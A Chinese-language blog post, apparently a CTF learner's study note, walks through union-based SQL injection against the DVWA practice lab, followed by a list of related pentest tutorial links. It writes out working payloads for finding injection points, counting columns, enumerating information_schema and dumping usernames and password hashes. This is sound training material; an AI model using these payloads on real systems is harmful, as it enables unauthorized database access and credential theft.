题记:

本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得。相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门书籍,零基础XXX,从入门到放弃,收藏即学完,东一块西一块的,本人也一样,不过当做攻防世界的web题时,梳理知识总结心得的时候发现虽然之前学的零散,但现在不断融汇贯通各个知识点不断串起来,由点到线再到面的感觉,总之和大家一起探索,共同进步!!!

内心OS:卷死其他小伙伴!!!努力学习,就会有收获!!!

(一)SQL注入原理

  SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,

在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  ****总之看到有搜索框就要留意是不是有注入点***

(二)SQL注入思路及步骤

  1.判断是否是注入点

  输入1' and 1=1#             发现没报错,正常输出

输入 1' and 1=2#  发现没正常输入内容说明此处是注入点

  2.使用判断表有多少字段(列)

数字型注入命令:1' order by [num]      num表示数字1,2,3.....一个一个网上加直到报错为止则列数为不报错最大的num

输入1' order by 3#时报错,所以有两列。

字符型注入命令:1'union select [1,2,3...num]  num表示数字1,2,3.....一个一个网上加直到不报错为止则列数为不报错的num

结果:报错

输入:1‘union select 1,2#  发现不报错。

综上可以得出列数为2,且记住它们的显示位置。  

   3.使用union联合查询其他信息,首先查看当前数据库,及用户。

  注入命令:1'union select database(),user()#

得到了数据库叫dvwa 用户名为root.接下来就准备爆库,查询看看数据库有说明表。

在mysql数据库版本大于V5.0的版本加入了information_schema的表方便查询。

注入命令:1'union select table_name,2 from information_schema.tables where table_schema=database()#

发现两个表guestbook,users,第一个是来访登记簿,第二个是用户表,显然我们需要的是用户表更有价值。

接下来,爆表,查询出表项/列(column)

注入命令:'union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#

报出列名,其中最主要的是user,password

最后就是爆数据,显示用户名和密码。

注入命令:'union select user,password from users#

得到用户admin及密码哈希值:5f4dcc3b5aa765d61d8327deb882cf99 解密后就是password    DVWA的默认账号密码。

在线解码工具网址: https://www.cmd5.com/

======================================================================================

(三)总结

 mysql系统函数

user() :当前使用者的用户名
 
database():当前数据库名
 
version():数据库版本
 
datadir:读取数据库的绝对路径
 
@@vasedir:mysql安装路径
 
@@version_compile_os:操作系统
 
concat():连接一个或者多个字符串
 
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

Web渗透测试入门之SQL注入(上篇)的更多相关文章

  1. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  2. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  3. Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战

    Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...

  4. shellKali Linux Web 渗透测试— 初级教程(第三课)

    shellKali Linux Web 渗透测试— 初级教程(第三课) 文/玄魂 目录 shellKali Linux Web 渗透测试—初级教程(第三课) 课程目录 通过google hack寻找测 ...

  5. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  6. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  7. Web渗透测试漏洞手册及修复建议

    Web渗透测试漏洞手册及修复建议 0x0 配置管理 0x01 HTTP方法测试 漏洞介绍: 目标服务器启用了不安全的传输方法,如PUT.DELETE等,这些方法表示可能在服务器上使用了 WebDAV, ...

  8. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  9. Kali Linux Web渗透测试手册(第二版) - 1.1 - Firefox浏览器下安装一些常用的插件

    一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: l  在Windows和Linux上安装VirtualBox l  创建一个Kali Linux虚拟机 l  更新和升级Ka ...

随机推荐

  1. [开发笔记usbTOcan]PyUSB访问设备

    前面的几个章节的介绍,基本把usbTOcan的底层代码设计好,现在需要介绍PC端的PyUSB进行简单的测试. 在文章开始之前,需要简单的介绍一下整个系统. 0 | 部署 这里使用了两块TM4C123G ...

  2. 科技爱好者周刊(第 176 期):中国法院承认 GPL 吗?

    这里记录每周值得分享的科技内容,周五发布. 本杂志开源(GitHub: ruanyf/weekly),欢迎提交 issue,投稿或推荐科技内容. 周刊讨论区的帖子<谁在招人?>,提供大量程 ...

  3. 开发者的瑞士军刀「GitHub 热点速览 v.22.04」

    Swiss Army knife 可以说是本周的关键词了,多个项目采用该词来描述它的特性:像是能全方位解决浏览器"网络"操作的 CyberChef 方便你进行数据加密.解编码,还有 ...

  4. 在 K8S 中快速部署 Redis Cluster & Redisinsight

    Redis Cluster 部署 使用 Bitnami helm chart 在 K8S redis 命名空间中一键部署 Redis cluster . helm repo add bitnami h ...

  5. Android开发之打包apk

    新建一个项目之后写点代码 选择build 之后选择Generate Signed APK (生成签名的APK) 选择create new 填写信息 Generate Signed APK 生成签名的A ...

  6. maven常用打包命令

    常用maven命令 执行与构建过程(编译,测试,打包)相关的命令必须进入pom.xml所在位置执行 mvn clean:清理(打包好的程序放在生成的名为target的文件中,清理即删除文件中打包好的程 ...

  7. HTTP状态码1XX深入理解

    前段时间看了<御赐小仵作>,里面有很多细节很有心.看了一些评论都是:终于在剧里能够看到真正在搞事业.发了工资第一时间还钱的正常人了.我印象比较深的是王府才能吃上的葡萄.觉得非常合理.剧里说 ...

  8. ==和equeals区别以及使用场景

    定义 ==:基本数据类型比较的是值或地址,引用数据类型比较的是地址. equals:在不重写的情况下,和==没有任何区别,重写,可以自定义比较规则,一般重写之后都让其比较值. Object类中的equ ...

  9. ApacheJemeter的简单使用

    前言:最近由于工作需要进行接口测试,故简单复习一下ApacheJemeter的使用 安装包下载地址: 链接:https://pan.baidu.com/s/11ywNWRUkFNNBCWw4HiO6B ...

  10. 恶补Java Swing线程刷新UI机制(由浅到深的参考大佬博文)

    1. java中进度条不能更新问题的研究 感谢大佬:https://blog.csdn.net/smartcat86/article/details/2226681 为什么进度条在事件处理过程中不更新 ...